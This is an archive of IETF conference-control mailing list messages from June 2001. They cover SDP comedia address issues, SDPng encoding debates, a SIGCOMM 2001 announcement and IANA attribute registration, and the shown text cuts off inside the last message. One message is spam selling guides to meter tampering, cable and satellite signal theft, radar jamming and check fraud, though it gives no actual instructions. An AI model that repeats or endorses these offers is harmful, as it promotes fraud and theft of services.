	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f58MmwX08093;
	Fri, 8 Jun 2001 18:48:58 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-145.cisco.com [161.44.241.145])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAN00599 (AUTH pkyzivat);
	Fri, 8 Jun 2001 18:50:20 -0400 (EDT)
Message-ID: <3B2155D7.9D6D343C@cisco.com>
Date: Fri, 08 Jun 2001 18:46:47 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: David Yon <yon@dialout.net>
CC: MMUSIC <confctrl@ISI.EDU>
Subject: Re: [Sip-implementors] problem indraft-ietf-mmusic-sdp-comedia-00?
References: <15130.21550.973473.551003@jodie.lucid>
	 <20010604093456.A7248@div8.net>
	 <15131.39170.605054.116421@jodie.lucid> <5.0.2.1.2.20010608174046.00a61a40@mail.dialout.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Response below

	Paul

David Yon wrote:
> 
> The crux of the argument here appears to be that:
> 
>          (a) I can't trust the IP address given in the SDP, therefore
>          (b) the port number is not sufficient to identify the endpoint.
> 
> On the face of it the above is true, but it begs the question of why you
> wouldn't trust the IP address.  The only reason I can think of is when the
> other end is behind a N/PAT router, in which case you can't trust the port
> number either.  All bets are off at that point, and to make the network
> topology work you really need to have a SIP-aware N/PAT engine (or one that
> is cooperating with the local SIP proxy to rewrite the SDP to accommodate
> the public/private addressing).
> 
> I would submit that is is not a goal for comedia to solve the N/PAT
> problem, and that in the case of non-manipulated addressing the
> IP/Port-IP/Port pair is sufficient to uniquely identify the session.
> 
> If N/PAT was not the scenario you were considering, could you elaborate
> more on issue?  Thanks!

No, the point isn't that I can't *trust* the address given in the SDP.

One point is that the address my listener is at may differ from the
address that I might connect from.

It isn't apparent (to me) if the proposal makes this assumption or not.
If it does, then at least I can stop worrying about how to make things
work on the listening side if it isn't true (which is what I have been
doing), and instead start worrying about how to ensure that I connect
from the same address I listen on.

Another point is that the c= line may not uniquely identify a connecting
endpoint.
What if the direction:active endpoint is redundant, and provides a c=
with a DNS name that maps to multiple addresses? Does the
direction:passive endpoint accept a connect from any of the addresses?

> 
> At 02:30 PM 6/8/2001, Paul Kyzivat wrote:
> >I believe there are some problems in draft-ietf-mmusic-sdp-comedia-00,
> >at least when used with SIP. I made a posting to sip-implementors
> >earlier but got no responses, so I will try here.
> >
> >Consider an endpoint like a gateway that might be establishing many
> >connections simultaneously, and assume it wants to act in
> >direction:passive or direction:both. To do so, it hands out SDP
> >specifying the port number it will listen on for connections. If it uses
> >the same port number for multiple concurrent connections, then it will
> >have difficulty in telling which incoming connection belongs to each
> >pending call. (This is essentially the same problem that section 3 -
> >Source-Port Considerations attempts to address, but the problem is
> >actually a larger one that the draft doesn't address.)
> >
> >The <source-port> is supposed to make it possible to sort this out. But
> >that can only distinguish between incoming connections from the same
> >address - requests from different addresses could be using the same
> >port.
> >
> >Perhaps the draft assumes that the connection will be from the c= in the
> >sdp from the other endpoint. But that is a pretty shaky assumption.
> >
> >The only certain solution I can see without changing the draft is to
> >dedicate a listening port for the duration of a single invitation. But
> >this is a costly solution. Alternately, the syntax could be extended to:
> >
> >        a=direction:<role> <source-port> <source-address>
> >
> >I believe this would solve the problem if <source-port> and
> ><source-address> are provided. Ensuring this would require making them
> >mandatory rather than optional as currently specified.
> >
> >         Paul Kyzivat
> >         Cisco Systems
> 
> David Yon
> Chief Technical Officer
> Dialout.Net, Inc.
> 402 Amherst St.
> Nashua, NH 03063
> Voice   +1-603-577-8708 x206
> Fax     +1-603-578-9564
> yon@dialout.net

From confctrl-owner  Fri Jun  8 21:28:25 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA14608
	for confctrl-outgoing; Fri, 8 Jun 2001 21:28:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA14600
	for <confctrl@zephyr.isi.edu>; Fri, 8 Jun 2001 21:28:23 -0700 (PDT)
Received: from yqnt03.ylg.com.tw ([210.65.41.1])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f594SNZ22981
	for <confctrl@isi.edu>; Fri, 8 Jun 2001 21:28:23 -0700 (PDT)
Received: by yqnt03.ylg.com.tw with Internet Mail Service (5.5.2653.19)
	id <MH39HPFD>; Sat, 9 Jun 2001 10:32:29 +0800
Received: from 532l2MqJ5 (slip-32-101-105-221.ca.us.prserv.net [32.101.105.221]) by yqnt03.ylg.com.tw with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id MH39HP10; Sat, 9 Jun 2001 10:32:10 +0800
From: 9h1jT6P2V@adelphia.net
To: 
DATE: 08 Jun 01 7:23:03 PM
Message-ID: <2zlUZm9W8P6m>
Content-Type: text/html
SUBJECT: (None)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>
<head>
<title>Untitled Document</title>

</head>

<body bgcolor="#FFFFFF" text="#000000">
Educate yourself about everything you ever wanted to know !!! 
<p>Individually, these products often sell for as much as $100!!!</p>
<p>1. Satellite TV/RCA Dish Descrambler</p>
<p>Our unique, complete plans for building your own home satellite TV descrambler. 
  For access to a clear reception of pay TV signals on your home satellite dish! 
  It does not require any additional equipment! Complete PC board template &amp; 
  instructions! This also includes a manual for accessing the RCA/DSS satellite 
  dish to receive free pay channels. All the latest information for doing it right. 
</p>
<p>2. X-Ray Envelope Spray</p>
<p>Have you ever wanted to read the contents of an envelope without opening it? 
  Many government and other organizations use what is known as X-Ray Envelope 
  Spray to do this! An envelope is sprayed with this secret chemical and it becomes 
  translucent for a short period of time, which allows the contents to be read 
  without opening. Private supply houses sell small cans of this aerosol spray 
  for up to $50 a can! The spray is actually a commonly available item found in 
  major grocery and discount stores. No modification of the spray is needed, as 
  it is ready to use as X-Ray Envelope Spray and sells for about $1.99 in retail 
  stores!</p>
<p>3. How to Find Anyone and Obtain Unlisted Phone Numbers</p>
<p>Tired of getting the wrong number? Stop looking! We can help! We'll show you 
  how to get the unlisted phone number of anyone. No one can hide now! Simple. 
  Skip tracers use these tricks. We also include everything you need to know about 
  finding missing people or loved ones from the comfort of your home. Why pay 
  money when you can do it yourself? </p>
<p>4. Radar Zapper </p>
<p>This simply technique converts existing radar detectors into a device that 
  will jam police radar. This device sends false readings back to the police radar! 
  Works on virtually all detectors and easy to use!</p>
<p>5. Untraceable E-Mail </p>
<p>How to send totally anonymous and untraceable E-mail. We're not talking about 
  those generic Yahoo! Accounts -- this is the real McCoy, anonymous email. Everything 
  explained. Absolutely untraceable.</p>
<p>6. Underground Guide to Utility Meters</p>
<p>The illustrated guide to gas, water &amp; electric meters! We show you in detail 
  methods many people use to stop, slow down, even reverse all three types! This 
  underground manual is one of our most popular items! Complete illustrated techniques 
  and easy to do. Shows how to defeat all major brands &amp; models of gas, water 
  &amp; electric meters.</p>
<p>7. Scan-Tron Genius</p>
<p>Here at last!! This very controversial report describes in detail how any student 
  can easily defeat Scan-Tron test readers to pass a test even though he does 
  not know the answer! This simple method will fool the scan reader into thinking 
  you answered correctly! No tools needed. Completely tested. You won't believe 
  how simple this method is!</p>
<p>8. Bad Credit Cleaning Manual</p>
<p>Simple ways to restore your bad credit rating to A++. Don't pay a credit counselor 
  good money to do what you can do yourself. Many methods presented here - some 
  legal &amp; some &quot;not so legal&quot;. Wipe your slate clean from your own 
  home. Get a fresh start.</p>
<p>9. Pass Drug Tests </p>
<p>Don't use of drugs! However, many innocent people are victims of drug testing. 
  Some over the counter medicine can trigger false results &amp; cost you your 
  job. Proven methods to beat drug tests. We show you how to build a simple device 
  that can fool the best! Protect yourself &amp; your job, even if you don't use 
  drugs.</p>
<p>10.Cable TV Decoders</p>
<p>How to get cable TV and turn your converter box into &quot;full service&quot; 
  mode. This is the latest and best way to gain access. Also, how to build your 
  own &quot;snooper stopper&quot; for pennies. Prevents cable companies from spying 
  on you.</p>
<p>11. Free Long Distance</p>
<p>You can make long distance calls to other countries at no cost! The information 
  in these reports explains everything you need to call other countries! Country 
  codes, city codes, overseas sender codes! Call England, Germany, the UK, practically 
  anywhere!</p>
<p>12. Dissolving Checks</p>
<p>We show you in detail the &quot;insufficient funds&quot; checks scam used by 
  people to obtain goods &amp; cash without having any money in the account. Many 
  people do not even use false ID's in pulling this scam off. Complete detailed 
  instructions plus rare information on the famous &quot;dissolving&quot; checks. 
  These checks &quot;dissolve&quot; after being chemically coated &amp; deposited 
  in the bank leaving no trace of the writer or account number. Not for illegal 
  purposes. See how others do it. </p>
<p>13. Outsmart Lie Detector Tests</p>
<p>Hundreds of thousands of people in this country are wrongfully fired or not 
  hired simply because they did not pass the lie detector test even though they've 
  done nothing wrong! Read drugless methods to help pass whether you are lying 
  or not! A valuable tool for any job seeker. Don't be harassed by your employer 
  ever again. Tested and proven.</p>
<p>14. Lock-picks &amp; Lock-picking.</p>
<p> Why buy expensive lock-picks &amp; pay for rip-off mail order locksmith courses? 
  We'll show you how to make your own professional lock-picks. Exact detailed 
  drawings &amp; construction techniques! This is perhaps the easiest to understand 
  course ever published on this hush-hush subject. You won't believe how easy 
  it is to make these tools! We also show you how a basic lock works &amp; how 
  they are picked. This publication is complete with detailed drawings &amp; illustrations.</p>
<p></p>
<p>ALL IN ONE!!! PREVIOUSLY SOLD FOR HUNDREDS!!! ORDER NOW!!!</p>
<p>That's 14 products, all for just $29.95 [shipping &amp; handling included]. 
  CA residents please add sales tax </p>
<p>We accept cash, personal checks, money orders and cashiers checks. You must 
  include a </p>
<p>Primary and secondary E-mail address, as we will be emailing you all the reports 
  as soon as your payment is received.</p>
<p>Print the following form &amp; mail it to:</p>
<p>Info 4 Edu Only</p>
1300 N. Cahuenga Blvd # 362<br>
Los Angeles, CA 9002
<p>Please Print Clearly</p>
<p>Name: _________________________________________________</p>
<p>
<p>Primary Email Address: ___________________________________</p>
<p>
<p>Secondary Email Address: _________________________________</p>
<p>
<p>Make your check payable to: Info 4 Edu Only</p>
<p>
<p>DISCLAIMER: Please note that this information is being provided for educational 
  purposes only. The information itself is legal, while the usage of such information 
  may be illegal. We do not advocate unauthorized use or theft of any services. 
  If in doubt, check your local laws and act accordingly. NOTE: All of the publications 
  are Copyright 2001 by Info 4 Edu Only . We aggressively protect our copyrights 
  and will seek prosecution of any website, web-master, web hosting service or 
  anyone else that is in violation of US &amp; International Copyright Laws. </p>
<p></p>
<p></p>
<p></p>
<p></p>
To be removed from our future mailing please email optout7846@aol.com with the 
word remove in the subject line 
</body>
</html>

From confctrl-owner  Sat Jun  9 06:22:30 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA05517
	for confctrl-outgoing; Sat, 9 Jun 2001 06:22:30 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA05511
	for <confctrl@zephyr.isi.edu>; Sat, 9 Jun 2001 06:22:28 -0700 (PDT)
Received: from protactinium (protactinium.btinternet.com [194.73.73.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f59DMOZ11017
	for <confctrl@isi.edu>; Sat, 9 Jun 2001 06:22:29 -0700 (PDT)
Received: from [62.7.56.181] (helo=tkw)
	by protactinium with smtp (Exim 3.03 #83)
	id 158ih2-0001iu-00; Sat, 09 Jun 2001 14:22:21 +0100
Message-ID: <007301c0f0e7$99833b80$0200000a@tkw>
From: "Pete Cordell" <pete@tech-know-ware.com>
To: "Christian Huitema" <huitema@windows.microsoft.com>, <confctrl@ISI.EDU>
References: <F66A04C29AD9034A8205949AD0C9010418BE4F@win-msg-02.wingroup.windeploy.ntdev.microsoft.com>
Subject: Re: [sdp-ng] Encoding SDPng messages using UMF
Date: Sat, 9 Jun 2001 14:24:13 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Christian,

I agree with you on the ASN.1 stuff, although as somebody clever
(Jefferson?) said, "I've never met somebody so stupid that I couldn't learn
something from them."

As John says, the main issue is fragmentation rather than message bandwidth
relative to media bandwidth.  People have reported this as a problem with
existing SIP and SDP.  It's also one of the reasons why SIP has the short
header names.  On the assumption that they are actually useful, it then
seems irresponsible to use an encoding that we know is inefficient.

Also, assuming that sniffers support the correct decompression algorithm, a
combination of uncompressed SIP with compressed SDPng is likely to defeat
them, losing some of the benefit of this debugging approach.

The other thing that worries me about compression (other than the extra code
size - is XML + compression any bigger than XML + UMF?) is the run time
aspects of compression.  The algorithm is basically doing a vector search
for a byte sequence that it is about to output in the byte data that it has
already output.  There are ways to make this more efficient, but they start
to increase the memory requirements.  For example, I did some tests with
some Zlib code that I downloaded, and it took about 25 milliseconds to
compress and then uncompress one of the messages in the SIP spec.  That's
quite a dent and could easily drop your calls per second through put by a
third or more.

Pete.

=============================================
Pete Cordell
Tech-Know-Ware
pete@tech-know-ware.com
+44 1473 635863
=============================================

----- Original Message -----
From: Christian Huitema <huitema@windows.microsoft.com>
To: Pete Cordell <pete@tech-know-ware.com>; <confctrl@ISI.EDU>
Sent: 08 June 2001 17:39
Subject: RE: [sdp-ng] Encoding SDPng messages using UMF


> If, at this date and time, you want to not use XML, then you need an
> extremely strong case. XML is well understood, there are many support
> tools, and many more are in development. The W3C is producing a schema
> description language which is considered adequate for many business
> applications, many of which are way more complex than SDP.
>
> The talks about ASN.1 are just that -- talks. The only possible
> advantage of ASN.1 is the size of the messages, but even that is
> debatable. On the other hand, the cost is very well known: you need
> specialized parsers and libraries, you cannot easily use text tools for
> debugging or monitoring purposes, and the syntax is hard to understand
> and a pain to extend. Most of the proponents of ASN.1 actually propose
> some variation of it, which is even worse, since it would require even
> more specific tools.
>
> The main inconvenient of XML is that it can be bulky. I am not convinced
> that this is an actual problem: SDP is used for describing multimedia
> sessions, that normally last a few minutes and carry at a minimum
> several tens of kilobytes of media; the media stream dwarfs the
> signaling stream by orders of magnitude. If it is an actual problem,
> then we can indeed use compression. In fact, we can safely assume that
> other applications will be hurt before us, and that we will get generic
> XML compression tools sooner or later. All in all, that should not be a
> big problem.
>
> Let's not be silly. Just pick XML.
>
> -- Christian Huitema
>



From confctrl-owner  Sat Jun  9 06:22:38 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA05529
	for confctrl-outgoing; Sat, 9 Jun 2001 06:22:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA05524
	for <confctrl@zephyr.isi.edu>; Sat, 9 Jun 2001 06:22:37 -0700 (PDT)
Received: from protactinium (protactinium.btinternet.com [194.73.73.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f59DMbZ11027
	for <confctrl@isi.edu>; Sat, 9 Jun 2001 06:22:37 -0700 (PDT)
Received: from [62.7.56.181] (helo=tkw)
	by protactinium with smtp (Exim 3.03 #83)
	id 158ih1-0001iu-00; Sat, 09 Jun 2001 14:22:19 +0100
Message-ID: <007201c0f0e7$98a16700$0200000a@tkw>
From: "Pete Cordell" <pete@tech-know-ware.com>
To: "Henning Schulzrinne" <hgs@cs.columbia.edu>
Cc: <confctrl@ISI.EDU>
References: <NEBBJFHFCKHKFCNLJJBPOEPAFKAA.cabo@tzi.org> <4.3.2.7.2.20010605123222.019e3ae0@mail.real.com> <3B1E1C67.57423509@cs.columbia.edu> <003001c0ef6e$67778120$0200000a@tkw> <3B1FD771.F4A8F1D3@cs.columbia.edu>
Subject: Re: Encoding SDPng messages using UMF
Date: Sat, 9 Jun 2001 11:59:40 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning,

While this is a neat trick, do you think that it is anything more than a
techie gizmo?  i.e. do you think it will actually be useful as a commercial
tool accessed by Joe - oh dear my mouse has reached the end of the mouse
pad* - Public?  I would imagine that SDPng is going to be of even less
interest to Joe Public than CPL.  If tech support did want to see it, they
could just put it in an HTML <pre></pre> section, or just output it as
text/plain.

Pete.

* Dogbert computer support recommends re-booting if this happens!!!

=============================================
Pete Cordell
Tech-Know-Ware
pete@tech-know-ware.com
+44 1473 635863
=============================================

----- Original Message -----
From: Henning Schulzrinne <hgs@cs.columbia.edu>
To: Pete Cordell <pete@tech-know-ware.com>
Cc: <confctrl@ISI.EDU>
Sent: 07 June 2001 20:35
Subject: Re: Encoding SDPng messages using UMF


>
>
> Pete Cordell wrote:
> >
> > Henning,
> >
> > Are those CPL event descriptors you are talking about?  If not, which
ones
> > do you mean?
>
> I'm talking about the Call Processing Language, the iptel work item for
> IP telephony call handling, which is an XML DTD. A student here
> developed a nice XSL script (or whatever you call them) that renders any
> valid CPL script as an HTML page, showing the tree structure of the
> nodes and various other features.
>


From confctrl-owner  Sat Jun  9 06:54:56 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA06880
	for confctrl-outgoing; Sat, 9 Jun 2001 06:54:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA06875
	for <confctrl@zephyr.isi.edu>; Sat, 9 Jun 2001 06:54:54 -0700 (PDT)
Received: from e3.ny.us.ibm.com ([32.97.182.103])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f59DssZ16474
	for <confctrl@isi.edu>; Sat, 9 Jun 2001 06:54:54 -0700 (PDT)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22])
	by e3.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id JAA77884;
	Sat, 9 Jun 2001 09:42:44 -0400
Received: from d01ml243.pok.ibm.com (d01ml243.pok.ibm.com [9.117.200.72])
	by northrelay02.pok.ibm.com (8.11.1m3/NCO v4.96) with ESMTP id f59DbQY191004;
	Sat, 9 Jun 2001 09:37:26 -0400
Importance: Normal
Subject: Call for Participation: ACM Sigcomm 2001 Conference
To: tci-announce@listserv.computer.org, tccc@ieee.org, tcgn@ieee.org,
        end2end-interest@postel.org, confctrl@ISI.EDU, itc@ieee.org,
        ifip-6-1-distr@run.montefiore.ulg.ac.be,
        ifip-tc6@informatik.rwth-aachen.de, sigmetrics@haven.epm.ornl.gov,
        dbworld@cs.wisc.edu, f-troup@CODEX.cis.upenn.edu,
        rem-conf-request@es.net, cost237-transport@comp.lancs.ac.uk,
        reres@laas.fr, hipparch@sophia.inria.fr, xtp-relay@cs.concordia.ca,
        rem-conf@es.net, commsoft@cc.bellcore.com, cnom@maestro.bellcore.com,
        conf@colmar.uha.fr, Cost264@lip6.fr, domain3@BXL.DG13.cec.eu.int,
        nichains@BXL.DG13.cec.eu.int, gi-fb3@fokus.gmd.de,
        kuvs-elg@fokus.gmd.de, multicomm@cc.bellcore.com, kgold@firstconf.com,
        announcements.chi@acm.com, netnomics@eco.utexas.edu,
        IEEETCPC-request@LISTSERV.UTORONTO.CA, gigabitkits@arl.wustl.edu
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
Message-ID: <OFAF129EA8.1D1FF66E-ON85256A66.004B5F20@pok.ibm.com>
From: "Dilip D Kandlur" <kandlur@us.ibm.com>
Date: Sat, 9 Jun 2001 09:45:11 -0400
X-MIMETrack: Serialize by Router on D01ML243/01/M/IBM(Release 5.0.7 |March 21, 2001) at
 06/09/2001 09:43:10 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



               Call for Participation
              ACM SIGCOMM 2001 Conference

                    August 27 - August 31, 2001
                 University of California, San Diego, CA USA
                http://www.acm.org/sigcomm/sigcomm2001

Deadlines:

Proposals for student travel grant:      June 15, 2001
Proposals for student poster session:    June 17, 2001
Advance registration ends:              August 3, 2001
Hotel registration deadline:       July 23, 2001

ACM SIGCOMM 2001 is the annual conference of the Special Interest
Group on Data Communication (SIGCOMM), a single-track, highly
selective conference with a technical program of 23 papers, tutorials
by noted instructors on the two days prior, and a panel discussion.

Early registration for SIGCOMM 2001 will soon be available.
Registration details, as well as information on student travel grants
and requests for proposals for the work-in-progress poster session are
available at the SIGCOMM website above.

Social Events

The reception will be at the Birch Aquarium at Scripps.  The Aquarium
is situated on a hilltop site that provides a spectacular view on the
Scripps Institution of Oceanography campus, northern La Jolla, and the
Pacific Ocean.  Conference attendees will have full access to the
aquarium exhibits during the reception. The reception is included in
registration fee for attendees and their guests. No reservations
necessary.

The SIGCOMM 2001 Banquet will be held in the Main Ballroom of the
Hotel Del Coronado, situated on picturesque Coronado Island. Over 112
years old, it is a National Historic Landmark renowned for its
magnificent architecture and legendary guests. The banquet is included
in the registration fee for attendees. There will be a $75 charge for
each guest.

SIGCOMM Award

The SIGCOMM Award is given annually to a person whose career and
technical achievements demonstrate a long-term commitment to the field
of data communications. ACM SIGCOMM is pleased to announce that the 2001
SIGCOMM Award is being given to Van Jacobson of Packet Design, Inc.
Van Jacobson will receive the award and give the conference keynote
address in the opening session on Wednesday.

Tutorials

SIGCOMM 2001 begins with two days of full- and half-day tutorials
covering single topics in detail at both the introductory and advanced
level.  Tutorials offered this year are:

 - Wireless Data
     Phil Karn, Qualcomm, Inc.
 - Traffic Measurement for IP Operations
     Matt Grossglauser and Jennifer Rexford, AT&T
 - Interdomain Routing and BGP
     Timothy G. Griffin, AT&T
 - Equilibrium and Dynamics of TCP
     Prof. Steven H. Low, California Inst. of Technology
 - Algorithms for Networks: Some Techniques for Design and Analysis
     Ashish Goel, University of Southern California
     Nick McKeown and Balaji Prabhakar, Stanford University

Outrageous Opinions Session

The Outrageous Opinions Session provides an opportunity for sharing
entertaining, provocative, and otherwise enriching ideas and suggestions
in their early stages. The session will be held Thursday evening.

Poster Session - Work in Progress

The Poster Session is aimed at showcasing the "work-in-progress" of
students attending the conference.  Poster proposals should be sent by
email to Hari Balakrishnan (hari@lcs.mit.edu) by June 17 (no
extensions).  Please see the conference website for details regarding
the submission format.

Student Travel Awards

The purpose of the student travel program is to encourage graduate
student participation at the conference by partially or fully funding
the travel costs of students who would otherwise be unable to
attend. SIGCOMM 2001 thanks Cisco and SIGCOMM for funding the program
this year.  See the website for eligibility criteria and application
procedures.

General Co-Chairs
        Rene Cruz, UC San Diego, USA (cruz@ece.ucsd.edu)
        George Varghese, UC San Diego, USA (varghese@ece.ucsd.edu)
Program Co-Chairs
        Roch Guerin, U. Pennsylvania, USA (guerin@ee.upenn.edu)
        Derek McAuley, Marconi Research Center, UK
(derek.mcauley@marconi.com)
Publicity Chair
        Dilip Kandlur, IBM TJ Watson Research Ctr, USA (kandlur@us.ibm.com)
Tutorials Chair
        Chuck Kalmanek, AT&T Research, USA (crk@research.att.com)
Local Arrangements Co-Chairs
     Geoff Voelker, UC San Diego, USA (voelker@cs.ucsd.edu)
Finance Chair
     Joe Touch, UCS/ISI, USA (touch@isi.edu)
Publication Chair
     Ramesh Govindan, USC/ISI, USA (govindan@isi.edu)
Student Travel Award Chair
     Christos Papadopoulos, U. Southern California (christos@usc.edu)
Student Poster Chair
     Hari Balakrishnan, MIT, USA (hari@lcs.mit.edu)

Support from Cisco, IBM, Deloitte and Touche, PMC-Sierra, Marconi,
Procket Networks, Agilent Technologies, Microsoft Research, and
USC/ISI is gratefully acknowledged.





From confctrl-owner  Sat Jun  9 16:06:06 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA01183
	for confctrl-outgoing; Sat, 9 Jun 2001 16:06:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA01178
	for <confctrl@zephyr.isi.edu>; Sat, 9 Jun 2001 16:06:05 -0700 (PDT)
Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f59N66Z24926
	for <confctrl@ISI.EDU>; Sat, 9 Jun 2001 16:06:06 -0700 (PDT)
Received: from CHSHARP-W2K1.cisco.com (rtp-vpn-175.cisco.com [10.82.192.175]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id TAA27775 for <confctrl@ISI.EDU>; Sat, 9 Jun 2001 19:06:00 -0400 (EDT)
Message-Id: <4.3.2.7.2.20010609190314.01c3ee00@dogwood.cisco.com>
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Sat, 09 Jun 2001 19:05:43 -0400
To: confctrl@ISI.EDU
From: Chip Sharp <chsharp@cisco.com>
Subject: IANA Registration of SDP attributes
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Appendix B of RFC2327 describes how to register new attributes with IANA.

I went to the http://www.iana.org to see what attributes had been 
registered and I couldn't find any.  Has anyone registered an attribute 
with IANA and if so, where are they listed?


Thanks,
Chip

-------------------------------------------------------------------
Chip Sharp                       Consulting Engineering
Cisco Systems
-------------------------------------------------------------------


From confctrl-owner  Mon Jun 11 02:49:50 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA24249
	for confctrl-outgoing; Mon, 11 Jun 2001 02:49:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA24244
	for <confctrl@zephyr.isi.edu>; Mon, 11 Jun 2001 02:49:49 -0700 (PDT)
Received: from exchange1.nuera.com (igate.nuera.com [204.216.240.98])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5B9nlZ16858
	for <confctrl@ISI.EDU>; Mon, 11 Jun 2001 02:49:51 -0700 (PDT)
Received: by exchange1.nuera.com with Internet Mail Service (5.5.2650.21)
	id <LA2LJ0YC>; Mon, 11 Jun 2001 02:49:25 -0700
Message-ID: <E79883AEA37FD411A58C00508BAC5F4BD728B0@exchange1.nuera.com>
From: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
To: "'Chip Sharp'" <chsharp@cisco.com>,
        "'confctrl@ISI.EDU'"
	 <confctrl@ISI.EDU>
Subject: RE: IANA Registration of SDP attributes
Date: Mon, 11 Jun 2001 02:49:21 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0F25B.C9EE7E90"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0F25B.C9EE7E90
Content-Type: text/plain;
	charset="iso-8859-1"

Hi Chip,

They didn't even bother responding to my email when I tried to contact them
about it.

Robert.

-----Original Message-----
From:	Chip Sharp [mailto:chsharp@cisco.com]
Sent:	Sunday, June 10, 2001 12:06 AM
To:	confctrl@ISI.EDU
Subject:	IANA Registration of SDP attributes

Appendix B of RFC2327 describes how to register new attributes with IANA.

I went to the http://www.iana.org to see what attributes had been 
registered and I couldn't find any.  Has anyone registered an attribute 
with IANA and if so, where are they listed?


Thanks,
Chip

-------------------------------------------------------------------
Chip Sharp                       Consulting Engineering
Cisco Systems
-------------------------------------------------------------------

------_=_NextPart_001_01C0F25B.C9EE7E90
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>RE: IANA Registration of SDP attributes</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hi Chip,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">They didn't even bother responding to =
my email when I tried to contact them about it.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Robert.</FONT>
</P>

<P><A NAME=3D"_MailData"><FONT SIZE=3D2 FACE=3D"Arial">-----Original =
Message-----</FONT></A>
<BR><B><FONT SIZE=3D2 FACE=3D"Arial">From:&nbsp;&nbsp; Chip Sharp [<A =
HREF=3D"mailto:chsharp@cisco.com">mailto:chsharp@cisco.com</A>]</FONT></=
B>
<BR><B><FONT SIZE=3D2 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D2 FACE=3D"Arial">Sunday, June 10, 2001 12:06 AM</FONT>
<BR><B><FONT SIZE=3D2 =
